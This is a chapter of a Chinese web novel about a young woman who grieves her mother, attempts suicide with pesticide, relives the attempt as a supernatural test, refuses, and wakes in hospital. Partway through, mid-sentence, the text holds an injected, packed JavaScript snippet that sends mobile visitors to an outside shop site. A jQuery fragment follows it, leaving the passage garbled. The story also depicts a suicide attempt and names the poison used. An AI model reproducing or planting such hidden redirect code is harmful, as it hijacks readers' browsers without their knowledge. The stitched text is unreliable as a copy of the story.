迷迷糊糊中，俞小澄感觉身子在颠簸中左摇右摆，沉甸甸的脑袋跟随着外部的摇晃不停往下沉，耳朵里充斥着不太真实的说话声和引擎声，她想要睁眼看看，却发现自己困得不行，眼皮耷拉着怎么也撑不开。
突然嘭的一声响，俞小澄嘴里发出一声哀嚎：“嗷！”
在一阵直冲天灵盖的疼痛刺激下，俞小澄总算清醒过来，一边用手捂住脑袋，一边睁开眼左顾右盼。
她此刻正坐在大巴车上，四周的乘客正向她投来异样的目光，盯得她面色微红。
她不好意思地揉了揉发烫的耳垂，坐直了身子，战术性清了清嗓，将头扭向窗户方向，假装欣赏起窗外不断倒退的田野风光。
车内的乘客从她身上收回视线，各自陷入自己的世界，有的人继续聊天吹牛，有的人沉浸在音乐的海洋，有人则靠在椅背上闭目养神。
俞小澄终于回过神，想起自己正在回老家的大巴车上，而终点在等待她的是母亲离世的现实。
刚才她好像做了一个很长很长的梦，梦里她被困在了一个叫穷途旅店的地方，无法离开，每晚都要经历要人命的梦境。
她清楚地记得在梦中遇见了四年未见的大学学弟——吴樊祐，又结识了形形色色的陌生人，有的让她喜欢，有的让她讨厌。
然而梦境的结局很惨，那些她在意的人接二连三离世，留下她一个人，孤零零地被困在旅店中，没有休止地看着一批又一批人来到穷途旅店，又一批接着一批死在梦境中。
那些死掉的人最终变成了梦境中的恶灵，让这个绝望的世界永无终点。
最终，她自己似乎终于受不了了，自愿选择成为恶灵。
“真是个怪梦……连做梦都只有死亡和孤独吗……”俞小澄在心里暗骂道。
大巴车在乡间小路上一路飞驰，一直开到夕阳西下，才抵达目的地。
下车后，俞小澄又徒步半小时，终于与月光一起抵达了此行的终点站——她那阔别已久的老家。
一栋看上去有些年头的两层小楼矗立在院子里，外墙破损脱落，房子里没有点灯，在夜色的衬托下，好像一栋会闹鬼的房子，阴森恐怖了一些。
俞小澄将行李往院子里一扔，傻傻地站在空无一人的院子里不知何去何从。
过了许久，她才从衣兜里掏出手机，拨打了那个不想拨打的电话号码。
“嘟——嘟——”
手机里每传出一声响都让俞小澄心中紧张一分，直到一个女人的声音打破了重复的节奏，然后劈头盖脸就是一番数落。
“怎么这么晚啊！哎，我姐怎么摊上这么个不懂事的孩子，没本事就算了，连给她送终都做不好……”
电话那头的声音很嘈杂，大概没等她这个女儿到场，她小姨就已经开始了送别仪式。
俞小澄不敢回嘴，一直听着电话那头传来的谩骂声，最终还是那头姨父劝了几句，小姨才终于停止谩骂，回到了正题上。
“灵堂没有摆在家里，你赶紧到怀禹殡仪馆来吧。”电话那头厉声命令道。
话音刚落，俞小澄就隐约听到姨父问了声：“那女娃跑回家了？你电话里没跟她说清楚吗？”
小姨不耐烦地回了句：“说了说了，肯定是这丫头记错了。”
姨父唱红脸问：“哎呀，这个时间不好打车了吧，要不要我开车过去接她？”
小姨唱白脸答：“我们这边都忙得抽不开身了，她这个做女儿的连打个车都不会吗？去招呼客人吧你！”
俞小澄全程只是沉默着听对面演出，等到时机差不多了，便好声好气地回道：“嗯，知道了，我自己打车过去，辛苦小姨……”
对面依然没有好脸色，她话还没说完，电话就被掐断了。
“了。”俞小澄还是将最后一个字吐了出来，随后便在手机地图上搜起了“怀禹殡仪馆”。
虽然母亲去世得突然，俞小澄在接到小姨电话时整个人都懵了，可她依然清晰地记得小姨让她直接回老家，说灵堂会设在家里。
如今翻脸不认账，俞小澄并不觉得意外，她小姨一直不喜欢她，觉得她就是家族的耻辱，好不容易考上了大学，结果一事无成，这么大了还得靠着母亲养活。
俞小澄没在意这事究竟是有意还是无意，网上打了辆车，冲冲赶往真正的目的地。
这一路又是半个小时。
在殡仪馆里找了一圈，终于找到了她母亲的灵堂。
灵堂外坐了几桌子人，看上去相当热闹，不过每个人她都不认识，她与家里亲戚来往少，看见每个人都觉得是生面孔，可他们似乎是认识她的，每个人见到她总会客套地说上一句“节哀顺变”。
俞小澄每次都只是微微点点头，嘴上回一句：“谢谢。”
终于在人群中寻到了小姨的身影，她便硬着头皮上前打了招呼。
此时站在她面前的小姨面容憔悴，看她的眼神写满憎恨，一见到她又红了眼眶，脸上的泪痕是干了一层又叠上一层，看得出她与母亲的关系是真的很好。
欲言又止了许久，小姨抹了一把眼泪，将她往灵堂方向推去，声音颤抖地叮嘱道：“最后再去看你妈一眼……”
只是一句话，就好像用尽了她全部的力气，再没有电话里那般气势汹汹。
“嗯……”俞小澄淡淡地从鼻腔里哼出一个字，然后便朝灵堂里面走。
穿过外面摆放着桌椅的守灵小房间，经过开在两侧的拱门，便进入了停放尸体的房间。
与外面的热闹不同，这个房间里很冷清，一口冰棺孤零零地摆放在房间中央，表面已经盖上了黄布，冰棺前的桌子上摆放着母亲的遗像。
这一刻，一直压抑在心中的悲痛终于是决堤了，顷刻之间将俞小澄淹没于无尽的漩涡之中，眼泪如注，她捂着嘴泣不成声。
没想到最后一眼还在九年前，再见时已是阴阳两隔。
俞小澄伸出颤抖的手指，小心翼翼地掀开了一头的黄布，黄布下的冰棺里，母亲闭着眼，鼻孔里塞着棉花，面色苍白。
“妈……”
一声有些变形了的呼唤从俞小澄嘴里传出，每说出一个字她都感觉嗓子犹如针扎，就像被什么堵住了一样，她什么都说不出来。
眼前的人明明就像只是睡着了一样，如果她喊喊，是不是就能醒过来呢？
俞小澄隔着玻璃看着那个再也不会骂她，不会对她有所期待的人，心里说不出来的难受。眼泪一遍又一遍模糊她的视线，滴落在冰棺玻璃上，被她用衣袖擦去，又一遍一遍滴落。
不知过了多久，有人将她从房间里拉了出去，黄布重新盖上，这一面终于成了人生的最后一面。
小姨联系的阴阳师傅向她问了许多问题，用来测算火化和下葬的吉日，这时她才发现，关于母亲的问题她很多答不上来，几乎都是小姨帮忙解答。
母亲的后事全靠小姨忙前忙后，俞小澄一直处于浑浑噩噩之中。
守灵三日，选购墓地，火化，下葬，俞小澄被人戳一下跳一下地走到了最后。
她家院子后面有块空地，那里葬着她父亲，如今倒是省事，不用专门再去外面买墓地，花钱重新做了块墓碑，将母亲的骨灰盒与父亲的合葬在一块儿。
等到所有流程走完后，小姨一脸忧愁地看着俞小澄，郑重其事地说：“今后你妈照顾不了你了，你只能靠你自己了啊！别再继续这么活着了！”
说罢又重重叹了一口气，然后带着她姨父离开了。
在小姨的眼中，她还是那个不让母亲省心的顽童。或许在小姨看来，母亲之所以会死，都是俞小澄的错，因为俞小澄，母亲吃了一辈子的苦，没享到一点清福便撒手人寰了。
母亲的丧事办完后，还有一堆销户手续和遗产处理的事在等着她，这些事她总不能再麻烦小姨，只能后面自己挨个办。
原来人死后，留在这世上的也就这么点痕迹，留下来的人还得亲眼看着它们一点一点从自己的生活中被清除。
如今这栋两层小楼里只剩下她一人，夜深人静时，她又回想起当初的那个梦。
在梦中，母亲并没有死，当她夜晚睡觉害怕时，还能溜进母亲的房间，跟母亲挤着睡一宿。现在，她只能躲在被窝里哭，等苦累了，眼睛哭疼了，人就迷迷糊糊睡过去了。
丧事结束的第二天，俞小澄终于得空开始收拾母亲房间里的遗物。
然后她就看到了桌上的一封信，一封写给俞小澄的信，一封写了却不打算寄出的信。
这个时代已经没有人会寄信了，想说什么发条短信就成，可俞小澄离开老家以后，其实很少跟母亲聊自己的近况如何，母亲发短信问，她都只回两个字——在忙。
主要在潜意识里，她害怕母亲过问自己的生活，害怕她再为自己规划人生道路。
信里都是母亲的絮叨，那些没能通过电话和短信传达给俞小澄的思念。
读信时，俞小澄仿佛能看到母亲写下这些文字时的每一个表情，或担忧，或难过，或无奈……
一瞬间，深深的罪恶感刺痛了俞小澄，她从来只觉得生在这个家庭中，受折磨的一直是她自己，从不知道她也同样折磨着自己的母亲。
现在一切都晚了，她想道歉也没有道歉的机会了，母亲再也听不到了。
或许，母亲在离开人世的最后一刻，都想着再见她这个唯一的女儿一面，可惜，母亲没有等到这一天。
彼时俞小澄又在做什么呢？
她将自己锁在出租房中，与世隔绝，以为如此就能寻找到自以为的自由。
俞小澄曾以为母亲写给自己的信中多半又是说教与劝说，就如同她长久以来，在记忆深处对母亲留下来的印象。
可当她拆开信封拿出信纸时，她发现那几页纸上密密麻麻写下的都是母亲的自我反省。
作为母亲，她总希望把最好的一切给孩子，也会偏执地以为自己给的就是最好的，直到自己不求回报的付出将孩子越推越远，她终于意识到哪里不对了。
可很多感情都难以用语言诉说，于是这道隔阂一直存在于母亲与孩子之间。
这封信写于母亲入院前，她想着或许趁着自己病了，将俞小澄叫回来，然后告诉俞小澄桌上有封信，自然而然可以化解这道隔阂。
可惜她没想到病情恶化得如此快，俞小澄收到消息时，她人已经没了。
信的最后写着：
“这次回来了，就留下吧，家里什么也不缺，我们这小地方虽比不上大城市，可好歹住在家里，什么都方便些，也没有经济压力不是？”
那是梦中母亲对她说的话，是她希望能听母亲亲口说出的话，实际上，她只能从文字上感受到母亲离家前对未来怀抱的期许，不是逼她有所作为，而是一家人在一起就好。
在空荡荡的房间里，俞小澄放声大哭，一声声喊着“妈”，却再也等不来回答。
她这一生，没做出几件值得母亲骄傲的事，唯一让母亲在家族里抬起头的是她考上了大学，然而动机却是为了从母亲身边逃走。
无尽的歉意将俞小澄层层包裹住，令她窒息，却如何也找不到出口。
一整夜，她就靠墙坐在窗边，看着再也不会有温度的床，衣柜里再也不会有人穿的衣服，感觉心跟这栋房子一样凉。
夜风从开着的窗户吹进来，吹得她浑身冰凉也没有动过，她甚至想：要不就这样死了一了百了……
就这么坐了一夜，俞小澄一夜未合眼，眼睛因为哭得太多而水肿，只能没精打采地虚成一条缝。
窗外的天亮了，俞小澄摇摇晃晃站起身，步履蹒跚地往屋外走，她想去母亲的墓前陪母亲说会儿话。
路过院子时，她偶然瞥见墙角堆放的农药，一股冲动袭上心头。
那些东西在她眼中就像是能替她解决所有烦恼的法宝，俞小澄笑着走了过去，随便拿上一瓶，就离开了院子，绕到院子后的墓地前。
她跪在父母的墓碑前，伸手描着碑上的字，喃喃道：“你们都走了，就留下我一个，我又该为了什么而活呢？”
除了田间吹过的风，没有人回答她这个问题。
俞小澄嘴角含笑，低头看了一眼手里的瓶子，小声说道：“要不我去找你们吧，也不知道妈在不在等我……”
“我没有朋友，也没有工作，现在连父母都没了，还留在这里做什么呢？”
“从小到大，我一直是个失败者，甚至不能成为一个好女儿……呵……我这种人凭什么还活着……”
“我是不是傻？反正最后结果都是灰溜溜地滚蛋，我干嘛要忍气吞声？”
“反正最后结果都是自己一个人默默消化，我又何毕成人之美？”
“人善被人欺，可我明明算不上什么好人，活得这么窝囊干什么！”
一句句自我厌弃的话脱口而出，她似乎想将压抑了许久的实话全都说出口，扔下压在肩上的包袱，一身轻松地起程。
等到想发泄的全部发泄完后，俞小澄在父母的墓旁坐下，打算干了那瓶农药，彻底告别这个世界。
就在她拧开瓶盖，将瓶嘴递到嘴边，都准备闭眼的时候，她忽然感觉有种既视感。
这一切怎么好像经历过？
俞小澄的心猛然一跳，那种异样的感觉吓得她手抖，一个没拿稳，瓶子从手中滑落，嘭的一声撞在地面上，弹跳一下便滚到了一旁，里面的药水洒了一地。
一瞬间，俞小澄脑海中出现了同样的画面，脱手落地的药瓶，洒了一地的药水，不同的是，记忆中的她痛苦地在地上挣扎，口腔、食道、上腹全都如火烧一样疼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250235|133719||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
痛，疼得她在地上打滚。
没一会儿汗水就打湿了衣服，头晕伴随着呕吐，她倒在地上抽搐。
那种感觉太过真实，就像当真发生在俞小澄身上一样，让她惊恐万分，一脚将药瓶又踢远了些。
在那段记忆的最后，一个过路人听到了她的叫喊声，惊慌地上前查看，而后她的记忆便断在了这一幕。
俞小澄双手交叉抚摸着胳膊，只觉浑身凉到发抖。
“刚才那是什么？”
“是已经发生过的记忆吗？”
俞小澄感觉有些懵，然后一晃神，前一秒还躺在地上的药瓶，下一秒又原封不动回到了她手上。
刚才的一切就好像只是幻觉，从不曾发生过，这更让俞小澄头皮发麻。
正当她疑惑时，一个毫无感情的声音不知从何处传来：“这一次，你依然会做出相同的选择吗？”
所有的记忆在这一刻复苏，渐渐融合到一起，俞小澄找回了遗失的记忆，也想起穷途旅店并非是一场梦，她在梦境中找到了记忆碎片，或者更准确地说，记忆碎片找到了她，于是她进入了这个幻境，重新经历了那段遗失的记忆。
而此刻，她正面临旅店的验证，决定她是合格离开旅店，还是不合格化身造梦者。
“这一次，你依然会做出相同的选择吗？”
好像催促她做出决定一般，那个不知来自何处的声音又重复了一遍问题。
“什么选择？”
俞小澄眉头微蹙，对这个能够轻易决定他人人生的家伙厌烦至极。
“你还会选择喝下毒药轻生吗？”
那个声音平稳得没有一点起伏，仿佛只是AI在照着文本读。
“呵，我的选择就决定我将去哪儿吗？只是这毫无意义的一个问题？”
俞小澄心里燃起一把火，名为愤怒。
她曾经以为会有更正式的方式来宣判她的罪恶，而不该是由她是否选择轻生来决定。不管她喝不喝下这瓶药，都说明不了她的善恶。
那个声音仿佛听不懂俞小澄在说什么，又一次催促道：“你只需要回答我，喝，还是不喝？我将通过你的答案，判断你是否已经悔改了。”
俞小澄觉得很无语，她当初轻生是出于愧疚，出于软弱，唯独不是因为自己罪大恶极，所以要以死谢罪。
她轻生只是觉得这个世上已经没有人需要她了。
仅此而已。
她的罪，父母有资格惩罚，她自己有资格惩罚，却绝不是外人可以轻易判她死刑的程度。
因此，仅凭她选择生还是死来决定她是否悔改，是否有罪，实在可笑至极。
俞小澄已经可以想象出，大概白羽楠和曾勇也都曾面临这样让人无话可说的选择。
不是由他们做出了什么样的事来判断他们是否有罪，而是从一开始他们就被钉在了有罪的柱子上，而能不能离开这根柱子，取决于他们是否会同过去做出同样的选择。
这样的选择本身就很可笑。
突然她明白了，或许穷途旅店一开始就没打算让他们这些被打上“有罪”标签的人离开。
难怪曾勇在最后一刻会说“无论多少次，我都不会改变自己的选择”，大概那个选择本身在曾勇看来就不是罪恶。
在无数的恶灵记忆中，确实几乎各有各的恶，无一例外出现了被这种恶伤害的人，可有时候有罪的一方又何止是旅店的住客呢？
俞小澄从不认为这样一刀切的惩恶手段有多高明，恰好相反，这种极端容易生出冤案。
此刻，俞小澄的脑海中飘过一句话，曾经某位住客质问客服凭什么认定住客有错在先，二号客服回答：
“这个自然由苦主来判定，本店只为这世间不公，提供一点情绪宣泄的途径。”
这句话当时带给俞小澄些许触动，只是因为缺少了部分记忆，她不知道自己究竟害了谁。
可现在记忆找回来了，这句话就让她更懵了，所以这个所谓的苦主难道是她母亲？
可从母亲留下的信中，她从未感受到一点对她的责备，相反，母亲正准备试着接受比别人失败一点的她。
那么这位苦主是谁？
那个不知道从何而来的声音显然不会回答她这个疑问，这会儿那个声音又开始催促俞小澄赶紧做出决定。
俞小澄被这不断的催促声搞得心烦意乱，一气之下将药品往地上一摔，气恼地冲着不存在的人吼道：“不喝！我的罪也不该由你们来定！”
此刻她心中只有一个想法——离开穷途旅店，然后找到穷途旅店的管理者，让TA知道穷途旅店存在本身有多不合理。
是的，原本已经准备好在梦境中创造自己世界的人，在得知了所有真相后，突然意识到吴樊祐的相信本就没错，如果她没有一味地自我否定，或许吴樊祐也不会死了。
她不会喝下毒药，她要活着，去揪出将所有人困在这里的人，撬开TA的脑袋看看到底运行着怎样的逻辑。
当俞小澄作出选择的一瞬间，整个世界开始消散，没有任何预兆，一点一点从她眼前如尘埃一般被风吹散。
然后整个世界陷入了无边无际的黑暗，没有声音，没有光，俞小澄甚至感觉不到自己的存在。
她想要高声叫喊，可张开嘴却发不出任何声音；想要抬手，却发现全身根本无法动弹。
是选错了吗？
不应该啊……
她明明没有做出和现实一样的选择。
可为什么没有回到现实呢？
还是说，现实中的她其实早死了？
是啊，应该是死了才对啊……
是她自己做出了赴死的选择，自然死亡是她咎由自取的结果。
或许一切都是她在弥留之际做的一场梦，在她想象的地狱中，受罚，赎罪……
真的都只是她一厢情愿的幻想吗？
心中隐隐不甘，可转念一想，如果只是她的幻想，那或许她结识的人根本就不存在，也就没有被困梦境或彻底消亡一事了，而吴樊祐也在没有她参与的现实世界中平安活着。
这样一想，又何尝不是一种安慰呢？
或许就这样吧，反正她的人生就是由无数的不圆满构成的。
如此想着，俞小澄渐渐习惯了这种黑暗与空虚，意识逐渐坠入混沌之中。
不知过了多久，耳边隐隐约约传来有节奏的滴滴声，就像某人的心跳，眼睛也模模糊糊感觉有光，全身的知觉似乎在缓缓苏醒。
随后，她听到了脚步声，感觉到身周围的气息，接着便感到有人扒开她的眼皮，一道明晃晃的光直射入瞳孔，她下意识地想闪避。
随之而来的是一个陌生的声音，似乎在同其他人交谈。
“没错，病人苏醒了，联系家属吧。”